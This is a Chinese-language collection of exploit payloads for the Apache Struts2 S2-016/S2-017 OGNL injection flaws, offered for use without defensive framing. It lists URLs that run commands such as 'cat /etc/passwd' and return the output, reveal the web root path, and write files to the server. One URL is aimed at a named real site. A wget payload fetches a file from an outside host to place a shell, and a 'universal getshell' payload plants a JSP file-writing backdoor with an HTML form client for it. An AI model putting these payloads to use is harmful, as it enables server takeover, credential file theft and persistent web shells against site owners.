Struts2 S2-016/S2-017 命令执行带回显、写入文件，看web路径、getshell exp整理

带回显命令执行：

http://www.example.com/struts2-blank/example/X.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{‘cat‘,‘/etc/passwd‘})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse‘),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

查看web路径:

http://www.example.com/struts2-blank/example/X.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D

向web目录写入文件： x.html是文件名字，test 是文件内容

http://rank.kongzhong.com:80/updateUserName?aid=&redirect:xxxxx%25{%23req%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest‘),%23path%3d%23req.getRealPath(%22/%22)%2b‘/x.html‘,%23d%3dnew%20java.io.FileWriter(%23path),%23d.write(‘test‘),%23d.close()}

linux wget getshell 利用stusts2：

http://www.baidu.com/1.action?redirect:${%23a%3d(new  java.lang.ProcessBuilder(new java.lang.String[]{‘wget‘,‘http://www.url.com/xx.txt‘,‘- O‘,‘/root/1.jsp‘}
 )).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b), %23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e), %23piaoye%3d%23context.get (‘com.opensymphony.xwork2.dispatcher.HttpServletResponse‘),%23piaoye.getWriter().println (%23e),%23piaoye.getWriter().flush(),%23piaoye.getWriter().close()}

getshell通杀版本：

http://www.example.com/struts2-blank/example/X.action?redirect:${
%23req%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest‘),
 %23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\\\", "/"),
new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()
 }&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e

写入的文件是：

<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>

配合客户端使用：

其实就是一个jsp的小马，需要客户端配合

函数f是文件名，t是内容

客户端：

<form action="http://www.example.com/struts2-blank/example/css3.jsp?f=fjp.jsp" method="post">
<textarea name=t cols=120 rows=10 width=45>your code</textarea><BR><center><br>
<input type=submit value="提交">
</form>

就在当前目录建立一个fjp.jsp
